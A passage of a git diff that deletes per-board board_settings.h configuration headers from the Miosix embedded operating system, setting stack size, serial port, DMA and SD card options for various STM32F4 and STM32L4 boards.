* - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=2; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA -#define SERIAL_2_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/board_settings.h deleted file mode 100644 index 39c37f743..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/board_settings.h +++ /dev/null @@ -1,64 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F401VC only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=2; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_2_DMA //Serial 2 DMA conflicts with I2S driver in the examples -//#define SERIAL_3_DMA //Serial 3 is not used, so not enabling DMA - -//SD card driver -static const unsigned char sdVoltage=30; //Board powered @ 3.0V -#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/board_settings.h deleted file mode 100644 index d24ee9a9c..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/board_settings.h +++ /dev/null @@ -1,64 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=3; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_2_DMA //Serial 2 DMA conflicts with I2S driver in the examples -#define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=30; //Board powered @ 3.0V -#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/board_settings.h deleted file mode 100644 index f6c5ac79a..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/board_settings.h +++ /dev/null @@ -1,69 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port (USART3 PB10=TX, PB11=RX) -const unsigned int defaultSerial=3; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -// Aux serial port (hardcoded USART2 PA2=TX, PA3=RX). -// Uncomment AUX_SERIAL to enable. The device will appear as /dev/auxtty. -//#define AUX_SERIAL "auxtty" -const unsigned int auxSerialSpeed=9600; -const bool auxSerialFlowctrl=false; -//#define SERIAL_1_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_2_DMA //Serial 2 DMA conflicts with I2S driver in the examples -#define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=30; //Board powered @ 3.0V -#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/board_settings.h deleted file mode 100644 index a28583f3d..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/board_settings.h +++ /dev/null @@ -1,68 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) -/// Application requires more than the usual 4KB stack, increasing to 5KB. -const unsigned int MAIN_STACK_SIZE=5*1024; - -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=115200; -const bool defaultSerialFlowctrl=false; -// Uncomment AUX_SERIAL to enable. The device will appear as /dev/auxtty. -#define AUX_SERIAL "auxtty" -const unsigned int auxSerial=3; -const unsigned int auxSerialSpeed=230400; -const bool auxSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA -#define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -// #define SD_ONE_BIT_DATABUS //Commented to use 4 bit databus - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f411ce_blackpill/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f411ce_blackpill/board_settings.h deleted file mode 100644 index db12fe626..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f411ce_blackpill/board_settings.h +++ /dev/null @@ -1,63 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f411re_nucleo/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f411re_nucleo/board_settings.h deleted file mode 100644 index c0829b7b1..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f411re_nucleo/board_settings.h +++ /dev/null @@ -1,63 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=2; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA -#define SERIAL_2_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/board_settings.h deleted file mode 100644 index b17f11250..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/board_settings.h +++ /dev/null @@ -1,67 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F415VG only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=2; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA -#define SERIAL_2_DMA -//#define SERIAL_3_DMA - -//SD card driver -//TODO: this board does not have an SD card connector and does not have any -//GPIO breakout pins for an external connector, so it makes no sense to support -//filesystem functionality for it -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/board_settings.h deleted file mode 100644 index ed860a90c..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/board_settings.h +++ /dev/null @@ -1,64 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 2 can't be used (GPIO conflict), so no DMA -//#define SERIAL_3_DMA //Serial 3 can't be used (GPIO conflict), so no DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/board_settings.h deleted file mode 100644 index bbf44da98..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/board_settings.h +++ /dev/null @@ -1,68 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F429ZI only has 256KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA //Serial 1 has no DMA as it would conflict with SPI6 -#define SERIAL_2_DMA //Serial 2 is used by the piksi GPS, enable DMA -//#define SERIAL_3_DMA //Serial 3 is not used - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#ifdef __ENABLE_XRAM -//Reduce SD clock to ~4.8MHz -#define OVERRIDE_SD_CLOCK_DIVIDER_MAX 8 -#endif //__ENABLE_XRAM -//#define SD_ONE_BIT_DATABUS //Use full 4 bit data bus to SD card - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/board_settings.h deleted file mode 100644 index d347f06ae..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/board_settings.h +++ /dev/null @@ -1,68 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 2 can't be used (GPIO conflict), so no DMA -//#define SERIAL_3_DMA //Serial 3 can't be used (GPIO conflict), so no DMA - -//SD card driver -static const unsigned char sdVoltage=30; //Board powered @ 3.0V -#ifdef __ENABLE_XRAM -//Reduce SD clock to ~4.8MHz -#define OVERRIDE_SD_CLOCK_DIVIDER_MAX 8 -#endif //__ENABLE_XRAM -//#define SD_ONE_BIT_DATABUS //This board supports 4 bit databus to SD card - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/board_settings.h deleted file mode 100644 index fd9c9f27f..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/board_settings.h +++ /dev/null @@ -1,64 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 2 can't be used (GPIO conflict), so no DMA -//#define SERIAL_3_DMA //Serial 3 can't be used (GPIO conflict), so no DMA - -//SD card driver -static const unsigned char sdVoltage=30; //Board powered @ 3.0V -#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/board_settings.h deleted file mode 100644 index 7ca543d8a..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/board_settings.h +++ /dev/null @@ -1,66 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -/// Using the Serial port 3 because it is the virtual serial port available -/// through ST-LINK on the stm32f469i-disco board -const unsigned int defaultSerial=3; -const unsigned int defaultSerialSpeed=115200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_2_DMA //Serial 2 is not used, so not enabling DMA -#define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_KEEP_CARD_SELECTED - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32l4/stm32l476rg_nucleo/board_settings.h b/miosix/config/arch/cortexM4_stm32l4/stm32l476rg_nucleo/board_settings.h deleted file mode 100644 index 4d87755d8..000000000 --- a/miosix/config/arch/cortexM4_stm32l4/stm32l476rg_nucleo/board_settings.h +++ /dev/null @@ -1,64 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=2; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA -#define SERIAL_2_DMA -//#define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/board_settings.h b/miosix/config/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/board_settings.h deleted file mode 100644 index 9cc3e55bf..000000000 --- a/miosix/config/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/board_settings.h +++ /dev/null @@ -1,63 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause 